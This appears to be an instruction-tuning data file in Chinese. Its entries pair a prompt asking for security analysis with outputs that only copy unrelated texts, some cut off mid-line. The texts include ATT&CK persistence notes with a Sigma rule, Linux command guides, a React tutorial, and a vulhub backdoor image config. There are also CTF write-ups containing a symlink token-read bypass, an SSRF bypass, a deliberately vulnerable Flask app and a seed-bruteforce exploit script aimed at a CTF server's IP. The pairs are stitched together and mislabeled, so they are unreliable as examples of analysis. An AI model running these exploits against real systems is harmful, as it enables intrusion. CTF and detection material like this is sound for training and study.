Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# T1546-007-win-通过netsh key持久化
## 来自ATT&CK的描述
攻击者可以通过执行Netsh Helper DLL触发的恶意内容来建立持久性。Netsh.exe是一个管理员可以用来在命令提示符处配置并监视基于Windows的计算机的工具。使用Netsh.exe工具，可以将输入的上下文命令定向到适当的帮助器，然后帮助器将执行命令。帮助器是个动态链接库(.dll)文件，它通过提供配置、监视和支持一种或多种服务、实用工具或协议，来扩展Netsh.exe工具的功能。
已注册的netsh.exe帮助程序DLL的路径在Windows注册表HKLM\SOFTWARE\Microsoft\Netsh中
攻击者可以使用netsh.exe帮助程序DLL以持久的方式触发任意代码的执行。该执行将在执行netsh.exe的任何时间执行，该操作可能会自动发生，使用另一种持久性技术，在执行netsh.exe作为其正常功能的一部分的系统上存在其他软件（例如VPN）的情况下。
## 测试案例
建议参考Bypass师傅的[Window权限维持（十）：Netsh Helper DLL](https://zhuanlan.zhihu.com/p/108020339)
## 检测日志
windows sysmon日志
## 测试复现
建议参考Bypass师傅的[Window权限维持（十）：Netsh Helper DLL](https://zhuanlan.zhihu.com/p/108020339)
## 测试留痕
当执行“ 添加帮助程序 ”命令以加载DLL文件时，将在以下位置创建注册表项。
```yml
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh
```
## 检测规则/思路
### sigma检测规则
```YML
title: 通过netsh key持久化
status: experimental
description: 攻击者可以使用netsh.exe帮助程序DLL以持久的方式触发任意代码的执行
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1546.007/T1546.007.md#atomic-test-1---netsh-helper-dll-registration
    - https://eqllib.readthedocs.io/en/latest/analytics/5f9a71f4-f5ef-4d35-aff8-f67d63d3c896.html
date: 2020-11-29
tags:
    - attack.t1546-007
author: 12306Br0
logsource:
    product: windows
    service: sysmon
detection:
    selection_registry:
        EventID: 13 #创建注册表值 sysmon日志
        Registry_path: "*\\Software\\Microsoft\\NetSh\\*"
    condition: selection
level: medium
```
### 其他建议
暂无
## 参考推荐
MITRE-ATT&CK-T1546-007
<https://attack.mitre.org/techniques/T1546/007/>
Window权限维持（十）：Netsh Helper DLL
<https://www.cnblogs.com/xiaozi/p/11834533.html>


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

pmap
===
报告进程的内存映射关系
## 补充说明
**pmap命令** 用于报告进程的内存映射关系，是Linux调试及运维一个很好的工具。
###  语法
```shell
pmap(选项)(参数)
```
###  选项
```shell
-x：显示扩展格式；
-d：显示设备格式；
-q：不显示头尾行；
-V：显示指定版本。
```
###  参数
进程号：指定需要显示内存映射关系的进程号，可以是多个进程号。
###  实例
```shell
pidof nginx
13312 5371
pmap -x 5371
5371:   nginx: worker process
Address           Kbytes     RSS   Dirty Mode   Mapping
0000000000400000     564     344       0 r-x--  nginx
000000000068c000      68      68      60 rw---  nginx
000000000069d000      56      12      12 rw---    [ anon ]
000000000a0c8000    1812    1684    1684 rw---    [ anon ]
0000003ac0a00000     112      40       0 r-x--  ld-2.5.so
0000003ac0c1c000       4       4       4 r----  ld-2.5.so
0000003ac0c1d000       4       4       4 rw---  ld-2.5.so
0000003ac0e00000    1340     284       0 r-x--  libc-2.5.so
0000003ac0f4f000    2044       0       0 -----  libc-2.5.so
0000003ac114e000      16      16       8 r----  libc-2.5.so
0000003ac1152000       4       4       4 rw---  libc-2.5.so
0000003ac1153000      20      20      20 rw---    [ anon ]
0000003ac1200000       8       4       0 r-x--  libdl-2.5.so
0000003ac1202000    2048       0       0 -----  libdl-2.5.so
0000003ac1402000       4       4       4 r----  libdl-2.5.so
0000003ac1403000       4       4       4 rw---  libdl-2.5.so
0000003ac1600000      84       0       0 r-x--  libselinux.so.1
0000003ac1615000    2048       0       0 -----  libselinux.so.1
0000003ac1815000       8       8       8 rw---  libselinux.so.1
0000003ac1817000       4       4       4 rw---    [ anon ]
0000003ac1a00000     236       0       0 r-x--  libsepol.so.1
0000003ac1a3b000    2048       0       0 -----  libsepol.so.1
0000003ac1c3b000       4       4       4 rw---  libsepol.so.1
0000003ac1c3c000      40       0       0 rw---    [ anon ]
0000003ac1e00000      88      44       0 r-x--  libpthread-2.5.so
0000003ac1e16000    2048       0       0 -----  libpthread-2.5.so
0000003ac2016000       4       4       4 r----  libpthread-2.5...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Where am I
Misc, 100 points
## Description:
> What is the name of the city where the server for tamuctf.com is located?
>
> (Not in standard gigem{flag} format)
## Solution:
We can use a service such as `iplocation.com` to determine the location of the server.
```console
root@kali:/media/sf_CTFs/tamu/Where_am_I# curl "https://iplocation.com/"   --data "ip=$(host tamuctf.com  | awk '/has address/ { print $4 }')"
{"city":"Boardman","company":"Amazon.com","continent_code":"NA","country_code":"US","country_name":"United States","found":1,"ip":"52.33.57.247","ip_header":"IP address","isp":"Amazon.com","lat":45.8491,"lng":-119.7143,"metro_code":810,"postal_code":"97818","region":"OR","region_name":"Oregon","time_zone":"America\/Los_Angeles"}
```


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# These are supported funding model platforms

github: testert1ng # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
patreon: # Replace with a single Patreon username
open_collective: # Replace with a single Open Collective username
ko_fi: # Replace with a single Ko-fi username
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
liberapay: # Replace with a single Liberapay username
issuehunt: # Replace with a single IssueHunt username
otechie: # Replace with a single Otechie username
custom: ['https://www.paypal.me/testerting'] # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# twofi软件包描述
当尝试破解密码时，自定义单词列表对于标准字典是非常有用的补充。 最初在“7 Habits of Highly Effective Hackers”博客上发布的一个有趣想法是，使用Twitter来搜索与正在破解的列表相关的关键字，以帮助生成这些自定义单词列表。 这个想法扩展进了twofi，它采用多个搜索关键字来返回单词列表，并按最常见的在前进行排序。
资料来源：http://www.digininja.org/projects/twofi.php
[twofi主页](http://www.digininja.org/projects/twofi.php) | [Kali twofi资源](http://git.kali.org/gitweb/?p=packages/twofi.git;a=summary)
- 作者：Robin Wood
- 许可：Creative Commons Attribution-Share Alike 2.0
## twofi包含的工具
twofi - Twitter单词利用
```
root@kali:~# twofi -h
twofi 1.0 Robin Wood (robin@digininja.org) (www.digininja.org)
twofi - Twitter Words Of Interest
用法：twofi [选项]
--help，-h：            显示帮助
--count，-c：           包含单词计数
--min_word_length，-m： 最小单词长度
--term_file，-T file：  包含关键字列表的文件
--terms，-t：           逗号分隔的搜索关键字。包含空格的要加引号，逗号后面不留空格
--user_file，-U file：  包含用户列表的文件
--users，-u：           逗号分隔的用户名。包含空格的要加引号，逗号后面不留空格
--verbose，-v：         显示详细信息
```
原文链接：http://tools.kali.org/information-gathering/twofi(http://tools.kali.org/information-gathering/twofi)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

version: '2'
services:
 web:
   image: vulhub/php:8.1-backdoor
   volumes:
    - ./index.php:/var/www/html/index.php
   ports:
    - "8080:80"


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Level04
#### About
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)
To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.
#### Sources
```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
	char buf[1024];
	int fd, rc;
	if(argc == 1) {
		printf("%s [file to read]\n", argv[0]);
		exit(EXIT_FAILURE);
	}
	if(strstr(argv[1], "token") != NULL) {
		printf("You may not access '%s'\n", argv[1]);
		exit(EXIT_FAILURE);
	}
	fd = open(argv[1], O_RDONLY);
	if(fd == -1) {
		err(EXIT_FAILURE, "Unable to open %s", argv[1]);
	}
	rc = read(fd, buf, sizeof(buf));
	if(rc == -1) {
		err(EXIT_FAILURE, "Unable to read fd %d", fd);
	}
	write(1, buf, rc);
}
```
#### Solutions
```
ln -s /home/flag04/token /tmp/target
/home/flag04/flag04 /tmp/target
Output:
06508b5e-8909-4f38-b630-fdb148a848a2
su flag04
Password: <-- 06508b5e-8909-4f38-b630-fdb148a848a2
/bin/getflag
```


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## 组件的组合、嵌套和组件树
### 组建的创建
第一种组件的创建方式 **function**
```
import React from 'react'
import ReactDom from 'react-dom'
function Hello(){
    return (
        <div>
            <h1>我是第一种组件的创建方式</h1>
        </div>
    )
}
ReactDom.render(<Hello />,document.querySelector('#root'))
```
**注意**：
 1. 自定义的组件都必须要用大写字母开头，普通的 HTML 标签都用小写字母开头。
 2. 必须有返回值,而且返回值必须是JSX elements
第二种组件的创建方式 **ES6类**
```
import React from 'react'
class App extends React.Component{
  render(){
    return (
      <div>
        App
      </div>
    )
  }
}
export default App
```
组件内参数的传递
```
import React from 'react'
import ReactDom from 'react-dom'
function Word(props){
    return (
    <p>My name is {props.name}</p>
    )
}
function Hello(){
    return (
        <div>
            <Word name='Liu' />
        </div>
    )
}
ReactDom.render(<Word />,document.querySelector('#root'))
```
### 导入CSS
```
//插入css外部样式：
import './App.css'
//行内样式
<h1 style={}>我是H1</h1>
//行内样式的时候，样式写成对象的模式，对象是js语言所以用大括号包裹
//1.{ backgroundColor:'teal', fontSize:'20px' }
//2.写成一个方法，返回一个对象
//3.声明一个对象
//4.只要样式写为对象的方式
styles(){
  return({
    box:{
      background:'green'
    };
  })
}
<h1 style={this.styles.box}>我是H1</h1>
let styles={
  h1:{
    color:'#CCC',
    backgroundColor:'teal'
  },
  div:{
    width:'100vw',
    height:'200px'
  }
}
<h1 style={styles.h1}>我也是H1</h1>
```
### 导入图片
当作变量导入
```
//先导入：
import img from './xxx.jpg'
//引用本地：
"<img src={img} alt='' />"
//网上图片直接引用：
"<img src='[地址]' alt='' />"
```
### 组件的嵌套
子组件
```
import React from 'react'
import Header from './Header'
import Main from './Main'
import Footer from './Footer'
class App extends React.Component{
  render(){
    return(
      <div className='App'>
        <Header />
        <Main />
        <Footer />
        </div>
    )
  }
}
export default App
```
父组件
```
import React from 'react'
import ReactDom from 'react-dom'
import App from './App'
ReactDom.render(<App />,document.querySelector('#root'))
```
### 组件树
```
import React from 'react';
import React...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

##Xor with static key (Crypto, 500p)
	You are in this GAME.
	A critical mission, and you are surrounded by the beauties, ready to shed their slik gowns on your beck.
	On onside your feelings are pulling you apart and another side you are called by the duty.
	The biggiest question is seX OR success?
	The signals of subconcious mind are not clear, cryptic.
	You also have the message of heart which is clear and cryptic.
	You just need to use three of them and find whats the clear message of your Mind...
	What you must do?
###PL
[ENG](#eng-version)
Dostajemy 3 pliki: [plaintext 1](Heart_clear.txt), [ciphertext 1](Heart_crypt.txt), [ciphertext 2](Mind_crypt.txt)
Na podstawie dwóch pierwszych plików należy ustalić algorytm szyfrowania a następnie zdekodować trzeci plik.
Treść zadania sugeruje, że szyfrowanie to XOR.
W związku z tym wyciągamy klucz szyfrowania korzystając a zależności:
`Plaintext xor Key = Ciphertex` => `Paintext xor Ciphertext = Key`
Zadanie rozwiązujemy prostym skryptem:
```python
import codecs
name = "Heart_clear.txt"
name2 = "Heart_crypt.txt"
with codecs.open(name) as input_file:
    with codecs.open(name2) as input_file2:
        data = input_file.read()
        data2 = input_file2.read()
        xor_key = [(ord(x) ^ ord(y)) for (x, y) in zip(data, data2)]
        print(xor_key)
        print("".join([chr(x) for x in xor_key]))
    with codecs.open("Mind_crypt.txt") as crypto:
        data = crypto.read()
        print("".join(chr(xor_key[i] ^ ord(x)) for i, x in enumerate(data)))
```
Który daje nam klucz: `Its right there what you are looking for.` oraz link:
https://play.google.com/store/apps/collection/promotion_3001629_watch_live_games?hl=en
Nie bardzo wiedzieliśmy co dalej zrobić, ponieważ link nie był flagą.
W końcu wpadliśmy na to żeby wysłać tytuł "strony" `Never Miss a Game` i to okazało sie flagą.
###ENG version
We get 3 files: [plaintext 1](Heart_clear.txt), [ciphertext 1](Heart_crypt.txt), [ciphertext 2](Mind_crypt.txt)
Using the f...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Hashing@Home (pwn, 231+10 pts, 14 solved)
The server uses the memory addresses of `hash_rpc_context` structures as request ids to track work delegated to its clients.
However the verification of any request ids received by the server in client responses is insufficient and the clients may abuse this to overwrite any memory locations that pass simple check for valid `hash_rpc_context` structure header.
Further, it is possible for the clients to sent arbitrary response data to be stored as `data_to_hash` member of existing `hash_rpc_context` structures in server memory.
This allows the clients to craft fake `hash_rpc_context` structures that pass server checks.
The above may be used to read arbitrary server memory by overwriting `hash_rpc_context` structure of `first_context` and next triggering `hash_together_the_first_two`.
This xors arbitrary memory location with known bytes and sends result as new request to the client.
My [exploit](exploit.py) uses this to extract content of `key_bytes` containing the flag.


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# ufw
---
## 安装
```bash
sudo apt update && sudo apt install ufw
```
## 配置及使用
默认情况下，ufw 的配置文件在 `/etc/default/ufw` ，然后用户定义的防火墙规则文件会存在 `/etc/ufw/*.rules` 和 `/lib/ufw/*.rules`
UFW 默认允许所有出站连接，拒绝所有入站连接
```
sudo ufw default deny incoming
sudo ufw default allow outgoing
```
**允许管理 IPv6**
```diff
sudo vim /etc/defaulf/ufw
++ IPV6=yes
```
**允许 SSH 连接**
```bash
sudo ufw allow ssh
# 等价于
sudo ufw allow 22
# 如果修改了SSH连接端口，记住相应的允许端口连接。
```
**允许 HTTP/HTTPS**
```bash
sudo ufw allow http
# 等价于
sudo ufw allow 80
sudo ufw allow https
sudo ufw allow 443
```
默认情况下 ufw allow 不加 in 是指允许入站连接，如果要允许出站，加上 out
```
sudo ufw allow in port
sudo ufw allow out port
```
**允许指定端口的协议**
```bash
sudo ufw allow ftp
# 等价于
sudo ufw allow 21/tcp
```
**允许指定范围的端口连接和协议**
```bash
sudo ufw allow 6000:6005/tcp
sudo ufw allow 7000:7005/udp
```
**允许指定的IP连接**
默认情况下相应的端口允许所有 IP 连接，通过 from 指定允许某 IP 的连接
```bash
sudo ufw allow from 123.45.67.89
sudo ufw allow from 123.45.67.89 to any port 22
```
如果要允许子网的连接
```bash
sudo ufw allow from 15.15.15.0/24
sudo ufw allow from 15.15.15.0/24 to any port 22
```
**拒绝连接**
```bash
# 和允许连接一样，只要将相应的 allow 换成 deny 即可
sudo ufw deny from 123.45.67.89
```
**查看规则**
```bash
sudo ufw status numbered
```
**删除规则**
```bash
# 每条规则前都有一个序号
sudo ufw delete [number]
sudo ufw delete allow http
# 等价于
sudo ufw delete allow 80
```
**查看 UFW 状态**
```bash
sudo ufw status verbose
sudo ufw show added
```
**启用禁用 UFW**
```bash
sudo ufw enable
sudo ufw disable
# ufw 默认会开机启动，如果没有，手动设置
sudo systemctl start ufw
sudo systemctl enable ufw
```
**启用日志**
```bash
sudo ufw logging on
sudo ufw logging off
sudo ufw logging low|medium|high    # 指定日志级别 日志文件在 /var/log/ufw.log
```
**重置防火墙**
```bash
sudo ufw reset
# 这条命令将禁用 ufw，并删除所有定义的规则,默认情况下， ufw 会备份规则。
```
---
## Source & Reference
- [Linux 下的防火墙 ufw](http://einverne.github.io/post/2018/04/ufw.html)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

compress
===
使用Lempress-Ziv编码压缩数据文件
## 补充说明
**compress命令** 使用“Lempress-Ziv”编码压缩数据文件。compress是个历史悠久的压缩程序，文件经它压缩后，其名称后面会多出".Z"的扩展名。当要解压缩时，可执行uncompress指令。事实上uncompress是指向compress的符号连接，因此不论是压缩或解压缩，都可通过compress指令单独完成。
### 语法
```shell
compress(选项)(参数)
```
### 选项
```shell
-f：不提示用户，强制覆盖掉目标文件；
-c：将结果送到标准输出，无文件被改变；
-r：递归的操作方式；
-b<压缩效率>：压缩效率是一个介于9~16的数值，预设值为"16"，指定愈大的数值，压缩效率就愈高；
-d：对文件进行解压缩而非压缩；
-v：显示指令执行过程；
-V：显示指令版本及程序预设值。
```
### 参数
文件：指定要压缩的文件列表。
### 实例
将`/etc/man.config`复到`/tmp` ，并加以压缩
```shell
[root@localhost ~]# cd /tmp
[root@localhost tmp]# cp /etc/man.config .
[root@localhost tmp]# compress man.config
[root@localhost tmp]# ls -l
```
```shell
-rw-r--r-- 1 root root 2605 Jul 27 11:43 man.config.Z
```
将刚刚的压缩档解开
```shell
[root@localhost tmp]# compress -d man.config.Z
```
将 man.config 压缩成另外一个文件来备份
```shell
[root@localhost tmp]# compress -c man.config > man.config.back.Z
[root@localhost tmp]# ll man.config*
```
```shell
-rw-r--r-- 1 root root 4506 Jul 27 11:43 man.config
-rw-r--r-- 1 root root 2605 Jul 27 11:46 man.config.back.Z
```
这个`-c`的选项比较有趣！会将压缩过程的资料输出到屏幕上，而不是写入成为file.Z文件。所以，我们可以透过资料流重导向的方法将资料输出成为另一个档名。


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

from flask import Flask, render_template, request, render_template_string
from pyasn1.codec.ber.decoder import decode
from pyasn1.type.univ import OctetString
from urllib2 import urlopen
from sha4 import hash
import string

app = Flask(__name__)
bad     = """

yo that comment was bad, we couldn't parse it
"""
unsafe  = """

that comment decoded to some weird junk
"""
comment = """

Thank you for your SHA-4 feedback. Your comment, %s, is very important to us
"""

def is_unsafe(s):
  for c in s:
    if c not in (string.ascii_letters + string.digits + " ,.:()?!-_'+=[]\t\n<>"):
      return True
  return False

@app.route("/")
def index():
  return render_template("index.html")

@app.route("/comments", methods=['POST'])
def comments():
  try:
    encoded = request.form['comment']
    encoded.replace("\n","\r")
    ber = encoded.decode("hex")
  except TypeError:
    return render_template_string(bad)
  f = "/var/tmp/comments/%s.txt"%hash(ber).encode("hex")

  out_text = str(decode(ber))
  open(f, "w").write(out_text)

  if is_unsafe(out_text):
    return render_template_string(unsafe)

  commentt = comment % open(f).read()
  return render_template_string(commentt, comment=out_text.replace("\n","
"))

@app.route("/upload", methods=['POST'])
def upload():
  try:
    comment = urlopen(request.form['url']).read(1024*1024)
    open("/var/tmp/comments/%s.file"%hash(comment).encode("hex"), "w").write(comment)
    return comment
  except:
    return render_template_string(bad)

if __name__ == "__main__":
  app.run()


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# double
Web, Easy
## Description
> Get the /flag at http://108.61.211.185/
## Solution
When accessing the site we get the following output:
```python
import string
import urllib2
from bottle import route, run, post, get, request
@get('/')
def index():
    with open(__file__) as f:
        return '<pre>' + "".join({'<':'<','>':'>'}.get(c,c) for c in f.read()) + '</pre>'
@post('/isup')
@get('/isup')
def isup():
    try:
        name = request.params.get('name', None)
        ip = request.environ.get('REMOTE_ADDR')
        is_remote = not (ip.startswith('127') or ip.startswith('172'))
        is_valid = all(x in name for x in ['http', 'kuchenblech'])
        if is_remote and not is_valid:
            raise Exception
        result = urllib2.urlopen(name).read()
        return result
    except:
        return 'Error'
run(host='0.0.0.0', server="paste", port=8080, reloader=False)
```
It looks like the root directory prints the source of the backend script. Using the `/isup` page, we can read a webpage via `urllib2.urlopen(name).read()`, assuming we comply with the preconditions:
* If our IP is identified as a remote IP (i.e. it starts with `127` or `172`), we can only read URLs which contain both `http` and `kuchenblech` (note: The CTF domain was `http://kuchenblech.xyz/`).
* Local IPs can read any URL.
`127.*.*.*` should be familiar to everyone. Let's research `172.*.*.*` addresses:
> If the 1st octet is 172 and the 2nd octet of a IPv4 address is 16–31, you have a private IP address, similar to 192.168.x.x or 10.x.x.x. These are the 3 private IP address ranges that are reserved per RFC 1918.
>
> ...
>
> If the 2nd octet of an IPv4 address starting with 172 is anything other than 16–31, it’s a publicly routable IP, just like almost any other.
> ([Source](https://www.quora.com/What-is-the-significance-of-IP-addresses-starting-with-172))
So, using a proxy which starts with `172` we can bypass the `is_valid` check. But what should we send as the `name`? Sending `http://...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Power-Net
> 分类参考科来网络通讯协议图
> 注 : 笔记中拓扑图 drawio 源文件在其图片目录下
---
## 应用层
### DNS
- [DNS 笔记](./应用层/DNS.md)
### WebSocket
**相关文章**
- https://github.com/halfrost/Halfrost-Field/blob/master/contents/iOS/WebSocket/iOS_WebSocket.md
**WebSockets over SSL/TLS**
- [WebSocket Security](https://devcenter.heroku.com/articles/websocket-security)
---
## 会话层
### SSL
SSL protocol 是美国网景（Netscape）公司研发的安全套接层协议（Secure Socket Layer）的缩写，为互联网通信提供安全及数据完整性保障。
### TLS
- [TLS 笔记](./会话层/TLS.md)
---
## 传输层
### TCP
**简介**
TCP 是面向连接的
### UDP
**简介**
UDP 是无连接的
### QUIC
**简介**
QUIC是传输层协议，对标TCP+TLS。HTTP/3，HTTP/2等是应用层协议， HTTP/3为了实现0/1 RTT，所以传输层需要用到QUIC。
**相关文章**
- [QUIC with TLS1.3 简介](https://blog.csdn.net/weixin_41262316/article/details/118088751)
---
## 网络层
**相关文章**
- [GRE、PPTP、L2TP隧道协议](https://blog.csdn.net/eydwyz/article/details/54879808)
### ipv4
**基础**
IPv4 地址是类似 `A.B.C.D` 的格式,它是 32 位,用 `.` 分成四段,用 10 进制表示;而 IPv6 地址类似 `X:X:X:X:X:X:X:X` 的格式,它是 128 位的,用 `:` 分成 8 段,用 16 进制表示;
### ipv6
> 本部分大部分内容由 [Survivor_ms](https://github.com/136510385) 提供,在此只做排版修改
**文章**
- [闲谈IPv6系列文章集锦](https://blog.csdn.net/dog250/article/details/88651885)
**表示法**
- **地址写法**
    - 1080:0:0:0:8:800:200C:417A 可简写为 1080::8:800:200C:417A
    - FF01:0:0:0:0:0:0:101 可简写为 FF01::101
    - 0:0:0:0:0:0:0:1 可简写为 ::1
    - 0:0:0:0:0:0:0:0 可简写为 ::
- **地址分类**
    - IPv6 地址指定给接口,一个接口可以指定多个地址.
    - IPv6 地址有作用域:
        - link local 地址 本链路有效
        - site local 地址 本区域(站点)内有效,一个 site 通常是个校园网
        - global地址 全球有效,即可汇聚全球单播地址
    - IPv6 地址分类:
        - unicast 单播(单点传送)地址
        - multicast 组播(多点传送)地址
        - anycast 任播(任意点传送)地址
    IPv6 没有定义广播地址,其功能由组播地址替代
- **常用地址及前缀**
    - ::/128   即 0:0:0:0:0:0:0:0,只能作为尚未获得正式地址的主机的源地址,不能作为目的地址,不能分配给真实的网络接口.
    - ::1/128 即 0:0:0:0:0:0:0:1,回环地址,相当于 IPv4 中的 localhost(127.0.0.1),ping locahost 可得到此地址.
    - 2001::/16  全球可聚合地址,由 IANA 按地域和 ISP 进行分配,是最常用的 IPv6 地址,属于单播地址.
    - 2002::/16  6 to 4 地址,用于 6to4 自动构造隧道技术的地址,属于单播地址.
    - 3ffe::/16   早期开始的 IPv6 6bone 试验网 地址,属于单播地址.
    - fe80::/10   本地链路地址,用于单一链路,适用于自...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## 一、服务器的配置
1. Apache 可以配置将PHP解释器作为CGI脚本(mod_cgi)，或者作为Apache本身的一个模块(mod_php)，还有就是FastCGI模式来运行。
CGI是比较原始的方式，需要把php 脚本放在conf 文件中设置的目录内并给与可执行权限(bash,perl 等脚本同理)，比如
ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
或者 在设置目录外执行 cgi，比如
 # To use CGI scripts outside of ScriptAliased directories:
 # (You will also need to add "ExecCGI" to the "Options" directive.)
 # AddHandler cgi-script .cgi
Apache默认是以第二种方式运行PHP的；
而配置FastCGI模式需要下载安装相关的包mod_fastcgi，且 php 编译时需要支持 –-enable-fpm（5.3之前版本是 --enable-fastcgi ）。
不要认为没有搭配php/python/perl的Apache就是安全的，也不要认为安全配置PHP后webshell就不能执行系统命令，因为Apache本身支持CGI和SSI，甚至需要注意 .htaccess 文件的上传覆盖。
2. Nginx 默认不支持CGI模式，它是以FastCGI方式运行的。所以使用Nginx+PHP 就是直接配置为FastCGI模式。php 同样需要支持 php-fpm（也可以使用PHP 自带的 FastCGI 管理器PHP-CGI），且 nginx 支持 ngx_http_fastcgi_module，配置文件一般类似
```
location ~ \.php$
{
     fastcgi_pass 127.0.0.1:9000;
     fastcgi_index xxxx;
     fastcgi_param xxxx;
     include fastcgi.conf;
}
```
对于php-cgi/php-fpm监听端口对外开放（一般情况下，是用于nginx/apache与fastcgi 分离，即 fastcgi_pass ip 不是 127.0.0.1），均需做访问控制，只允许指定的IP访问，否则可能导致远程文件包含。可以使用iptables做访问控制，如新增规则（监听端口为9000，webserver来源IP为192.168.2.138）。
```
 iptables -A INPUT -i eth0 -p tcp -s 192.168.2.138 --dport 9000 -j ACCEPT
 iptables -A OUTPUT -o eth0 -p tcp -d 192.168.2.138 --sport 9000 -j ACCEPT
 iptables -A INPUT -i eth0 -p tcp --dport 9000 -j DROP
```
> For the most part, lack of CGI support in Nginx is not an issue and actually has an important side-benefit: because Nginx cannot directly execute external programs (CGI), a malicious person can't trick your system into uploading and executing an arbitrary script.
如果使用php-cgi 作为PHP解析器，虽然均采用root 权限操作命令启动进程，但Nginx默认会降权到nobody普通用户，但是php-cgi不会，此时的危害就很大了，当攻击者上传webshell，那webshell就是root权限。千万不要认为Nginx降权运行了，php也会降权，毕竟解析php的是php-cgi进程。这里为什么突出说php-cgi 有这种问题，而没有说php-fpm，那是因为php-fpm 的配置文件默认已设置进程运行用户为nobody。
## 二、CGI的概念、PHP 动态语言
CGI 不是一种语言，也不是一种技术，而是一种模式。搜索一下CGI的定义`Common Gateway Interface`，简称CGI。在物理上是一段程序，存放在服务器上。只要是提供数据输出的服务器端程序都可以叫CGI，ASP/PHP/JSP这些都可以认为是，你用C/C...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## rand2 (Web, 2p)
###ENG
[PL](#pl-version)
Page uses rand() to generate random numbers.
One is printed at the start of the script.
Five next is stored and only md5 hash is returned.
Flag is displayed after we submit five unknown (for us numbers).
The seed has only 32 bit. Given enough CPU power we can exhaust a lot of this space.
It also helps to try several rand() outputs at once - we need just one correct solution.
To generate seeds producing given rand() output C program is used:
```cpp
static unsigned int rnd(unsigned int seed) {
	srand(seed);
	return rand();
}
int main(int argc, char*argv[]) {
	int n[100];
	for(int i=0;i<argc-1;i++) {
		n[i]=atoi(argv[i+1]);
	}
	int skip = !!fork() + 2*(!!fork());
	for (uint32_t i=skip;i!=INT_MAX;i+=4) {
		int x = rnd(i);
		for(int j=0;j<argc-1;j++) {
			if(n[j] == x) {
				printf("%d %d\n", j, i);
				fflush(stdout);
			}
		}
	}
}
```
To check if given seed produces numbers matching md5, php script is used:
```php
<?php
srand((int)($argv[1]));
echo rand();
echo "\n";
$rand = array();
$i = 5;
$d = '';
$_d = '';
while($i--){
	$r = (string)rand();
	$rand = $r;
	$d .= $r;
	$_d .= 'check[]=';
	$_d .= $r;
	$_d .= "&";
}
echo md5($d);
echo "\n";
echo $_d;
echo "\n";
?>
```
All is stiched up with a python script:
```python
import requests
import subprocess
url = "http://202.120.7.202:8888/"
N = 8
session = [None] * N;
rands = [None] * N
hashes = [None] * N
for i in xrange(len(session)):
	session[i] = requests.session()
	p = session[i].get(url+"?go")
	md5 = p.text[len(p.text)-32:]
	r = p.text[:len(p.text)-32]
	rands[i] = r
	hashes[i] = md5
	print i, r, md5
proc = subprocess.Popen(["./a.out"]+rands, stdout=subprocess.PIPE)
for output in iter(proc.stdout.readline,''):
	print output
	i,s = output.split(" ")
	r_output = subprocess.Popen(["php", "rand.php", s], stdout=subprocess.PIPE).communicate()[0]
	g_rand,g_hash,g_d,_ = r_output.split("\n")
	print hashes[int(i)], g_hash
	if hashes[int(i)] == g_hash:
		print g_d
		print session[int(i)]...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

---
title: HTML Characters Entities
date: 2022-01-13 11:44:21
tags:
    - html
    - code
    - characters
categories:
  - Other
intro: |
  This cheatsheet is a complete list of HTML entities with their numbers and names. Also included is a full list of ASCII characters that can be represented in HTML.
---
HTML Character Entity References {.cols-1}
---------------
### HTML Special Characters
| HTML           | Symbol       | Numeric      | Description              | Hex             | CSS (ISO)         | JS (Octal)          |
|----------------|--------------|--------------|--------------------------|-----------------|-------------------|---------------------|
| `"`   | "          | `"`  | quotation mark         | u+0022 ISOnum | \\0022           | \42    |
| `#`    | #          | `#`  | number sign            | u+0023 ISOnum | \\0023           | \43    |
| `$` | $          | `$`  | dollar sign            | u+0024 ISOnum | \\0024           | \44    |
| `%` | %          | `%`  | percent sign           | u+0025 ISOnum | \\0025           | \45    |
| `&`    | &      | `&`  | ampersand              | u+0026 ISOnum | \\0026           | \46    |
| `'`   | '          | `'`  | apostrophe             | u+0027 ISOnum | \\0027           | \47    |
| `(`   | (          | `(`  | left parenthesis       | u+0028 ISOnum | \\0028           | \50    |
| `)`   | )          | `)`  | right parenthesis      | u+0029 ISOnum | \\0029           | \51    |
| `*`    | *          | `*`  | asterisk               | u+002A ISOnum | \\002a   ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 程序执行流程
**参考 Execution Angleboye@Bamboofox 。**
## 静态执行
这里给出程序静态执行的基本过程。
## 动态执行
这里给出另外一张更加细节的图片。
## 基本操作说明
### sys_execve
该函数主要用于执行一个新的程序，即执行我们想要执行的程序，会检查相应的argv以及envp等参数。
### do_execve
该函数打开目标映像文件，并从目标文件的开始处读入指定长度的（目前为128）字节来获取相应目标文件的基本信息。
### search_binary_handler
该函数会搜索支持处理当前类型的二进制文件类型队列，以便于让各种可执行程序的处理程序进行相应的处理。
### load_elf_binary
